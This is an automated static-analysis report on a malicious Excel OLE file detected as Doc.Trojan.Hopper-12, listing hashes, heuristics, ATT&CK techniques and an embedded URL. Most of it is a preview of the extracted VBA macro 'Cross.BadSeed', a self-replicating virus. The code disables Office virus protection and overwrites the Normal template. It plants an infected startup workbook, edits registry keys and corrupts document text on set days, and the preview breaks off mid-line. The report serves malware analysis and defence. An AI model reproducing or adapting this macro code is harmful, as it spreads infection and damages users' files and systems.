Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ea498af2707da61d…

MALICIOUS

Office (OLE)

29.0 KB Created: 1998-12-08 08:08:44 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: f13699218097e62e1f0f4a71a2e9e61c SHA-1: 0ace290bf00081f582e2291e6f60306b17843c41 SHA-256: ea498af2707da61dcd86122a4be40cd789e11cfc3f262c86b7c715ed72c7af88
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1105 Ingress Tool Transfer

The sample is identified as malicious by ClamAV and contains VBA macros. The macros utilize CreateObject and GetObject calls, and attempt to modify Excel's startup behavior by writing to registry keys and embedding code into the NormalTemplate. This suggests an attempt to establish persistence and likely download a second-stage payload from the embedded URL.

Heuristics 5

  • ClamAV: Doc.Trojan.Hopper-12 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Hopper-12
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.sourceofkaos.com/homes/1nternal� In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6160 bytes
SHA-256: cd8c604bfbd7281c1850472e74a5248a8d24fc409ff68e6de37b2383e84ccd19
Detection
ClamAV: Doc.Trojan.Hopper-12
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'<!--1nternal-->
'Cross.BadSeed v0.41 /1nternal
Private InRoutine As Boolean
Private Sub Document_Close()
    On Error Resume Next
    Options.SaveNormalPrompt = False
    Options.ConfirmConversions = False
    Options.VirusProtection = False
    Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule
    Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule
    If NT.Lines(1, 1) <> "'<!--1nternal-->" Then
        NT.DeleteLines 1, NT.CountOfLines
        NT.InsertLines 1, AD.Lines(1, AD.CountOfLines)
        Set xlApp = CreateObject("Excel.Application")
        If UCase(Dir(xlApp.Application.StartupPath + "\Book1.")) <> UCase("BOOK1") Then
            System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel", "Options6") = ""
            System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\8.0\New User Settings\Excel\Microsoft Excel", "Options6") = ""
            xlApp.Workbooks.Add.SaveAs xlApp.Application.StartupPath & "\Book1."
            xlApp.Workbooks("Book1.").VBProject.VBComponents.Item("ThisWorkbook").CodeModule.InsertLines 1, NT.Lines(1, NT.CountOfLines)
            xlApp.Workbooks("Book1.").Close SaveChanges:=True
        End If
        xlApp.Application.Quit
    End If
    If AD.Lines(1, 1) <> "'<!--1nternal-->" Then
        AD.DeleteLines 1, AD.CountOfLines
        AD.InsertLines 1, NT.Lines(1, NT.CountOfLines)
    End If
    Select Case Day(Now)
        Case 1 And (Int((10 * Rnd) + 1) = 1)
            For i = 1 To ActiveDocument.Characters.Count
                If ActiveDocument.Characters(i).Text = "I" Then ActiveDocument.Characters(i).Text = "1"
            Next
        Case 5 And (Int((10 * Rnd) + 1) = 1)
            For i = 1 To ActiveDocument.Words.Count
                If ActiveDocument.Words(i).Text = "not" Then ActiveDocument.Words(i).Text = ""
            Next
        Case 10 And (Int((15 * Rnd) + 1) = 1)
            With Assistant.NewBalloon
                .Heading = "Cross.BadSeed v0.41"
                .Text = "Programmer:        1nternal" + Chr(13) + "Class Infection:    VicodenES" + Chr(13) + "ActiveX Concept: 1nternal" + Chr(13) + "Book1. Concept:  VicodenES" + Chr(13) + Chr(13) + "1nternal also wishes to thank all contributors and supporters which have made Cross.BadSeed possible."
                .Show
            End With
        Case 20 And (Int((5 * Rnd) + 1) = 1)
            Application.StatusBar = "Cross.BadSeed v0.41 /1nternal"
    End Select
End Sub
Private Sub Workbook_Deactivate()
    On Error Resume Next
    If UCase(Dir(Application.StartupPath + "\Book1.")) <> "BOOK1" And InRoutine <> True Then
        InRoutine = True
        Set WordObj = GetObject(, "Word.Application")
        If WordObj = "" Then
            Set WordObj = CreateObject("Word.Application")
            Quit = True
        End If
        Set NT = WordObj.NormalTemplate.VBProject.VBComponents(1).CodeModule
        If NT.Lines(1, 1) <> "'<!--1nternal-->" Then
            WordObj.Options.SaveNormalPrompt = False
            NT.DeleteLines 1, NT.CountOfLines
            NT.InsertLines 1, "Public Sub DisableAV()" + Chr(13) + Chr(10) + "System.PrivateProfileString("""", ""HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel"", ""Options6"") = """"" + Chr(13) + Chr(10) + "System.PrivateProfileString("""", ""HKEY_LOCAL_MACHINE\Software\Microsoft\Office\8.0\New User Settings\Excel\Microsoft Excel"", ""Options6"") = """"" + Chr(13) + Chr(10) + "End Sub"
            WordObj.Run "Normal.ThisDocument.DisableAV"
            NT.DeleteLines 1, NT.CountOfLines
            NT.InsertLines 1, ThisWorkbook.VBProject.VBComponents.Item("ThisWorkbook").CodeModule.Lines(1, ThisWorkbook.VBProject.VBComponents.Item(
... (truncated)